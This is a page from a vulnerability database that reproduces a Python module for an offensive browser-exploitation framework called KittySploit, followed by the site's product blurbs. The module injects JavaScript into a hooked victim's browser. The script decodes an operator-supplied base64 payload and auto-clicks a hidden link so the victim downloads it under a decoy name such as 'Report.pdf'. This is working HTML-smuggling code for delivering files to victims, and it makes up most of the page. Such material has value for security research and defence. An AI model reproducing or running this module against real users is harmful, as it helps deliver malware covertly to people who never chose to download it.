HTML Smuggling Download
from kittysploit import *
import base64
import json
import os
class Module(BrowserAuxiliary):
__info__ = {
"name": "HTML Smuggling Download",
"description": "Force a file download in the victim browser via Blob URL (HTML smuggling)",
"author": "KittySploit Team",
"browser": Browser.ALL,
"platform": Platform.ALL,
"session_type": SessionType.BROWSER,
}
filename = OptString("Report.pdf", "Download filename presented to the user", True)
content_b64 = OptString(
"",
"File content as base64 (preferred for binary). Empty = use content_text or local_path",
False,
)
content_text = OptString(
"",
"Plaintext content if content_b64/local_path empty",
False,
)
local_path = OptString(
"",
"Local file path to smuggle (read on operator side, sent as base64)",
False,
)
mime = OptString(
"application/octet-stream",
"MIME type for the Blob",
False,
)
auto_click = OptBool(True, "Programmatically click the download anchor", False)
def _load_bytes(self):
path = str(self.local_path or "").strip()
if path:
if not os.path.isfile(path):
raise FileNotFoundError(f"local_path not found: {path}")
with open(path, "rb") as fh:
return fh.read()
b64 = str(self.content_b64 or "").strip()
if b64:
return base64.b64decode(b64)
text = str(self.content_text or "")
if text:
return text.encode("utf-8")
# Small default decoy HTML if nothing provided
return (
b"<!doctype html><title>Report</title>"
b"<h1>Document</h1><p>Generated by KittySploit HTML smuggling module.</p>"
)
def run(self):
filename = str(self.filename or "download.bin").strip() or "download.bin"
mime = str(self.mime or "application/octet-stream").strip() or "application/octet-stream"
auto_click = self._to_bool(self.auto_click)
try:
raw = self._load_bytes()
except Exception as exc:
print_error(str(exc))
return False
if len(raw) > 8 * 1024 * 1024:
print_error("Payload too large (>8MB). Reduce file size.")
return False
payload_b64 = base64.b64encode(raw).decode("ascii")
print_status(f"Smuggling {len(raw)} byte(s) as {filename!r} ({mime})")
code_js = f"""
(function() {{
const NAME = {json.dumps(filename)};
const MIME = {json.dumps(mime)};
const B64 = {json.dumps(payload_b64)};
const AUTO = {str(auto_click).lower()};
try {{
const bin = atob(B64);
const len = bin.length;
const bytes = new Uint8Array(len);
for (let i = 0; i < len; i++) bytes[i] = bin.charCodeAt(i);
const blob = new Blob([bytes], {{ type: MIME }});
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = NAME;
a.style.display = 'none';
a.rel = 'noopener';
document.body.appendChild(a);
if (AUTO) {{
a.click();
}}
setTimeout(function() {{
try {{ URL.revokeObjectURL(url); }} catch (e) {{}}
try {{ a.remove(); }} catch (e) {{}}
}}, 4000);
return JSON.stringify({{
ok: true,
filename: NAME,
mime: MIME,
bytes: len,
auto_click: AUTO,
page_url: location.href,
note: AUTO
? 'Download click dispatched (browser may still prompt)'
: 'Anchor created without auto-click'
}});
}} catch (e) {{
return JSON.stringify({{ ok: false, error: e.message || String(e) }});
}}
}})();
"""
result = self.send_js_and_wait_for_response(code_js, timeout=20.0)
if not result:
print_error("Failed to run HTML smuggling")
return False
if isinstance(result, str) and result.startswith("Error:"):
print_error(result)
return False
try:
data = json.loads(result)
except json.JSONDecodeError as exc:
print_error(f"Failed to parse response: {exc}")
return False
if not data.get("ok"):
print_error(data.get("error", "smuggling failed"))
return False
print_success(f"Smuggled download: {data.get('filename')} ({data.get('bytes')} bytes)")
if data.get("note"):
print_info(data["note"])
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
31 Jul 2026 07:47Current
5.8Medium risk
Vulners AI Score5.8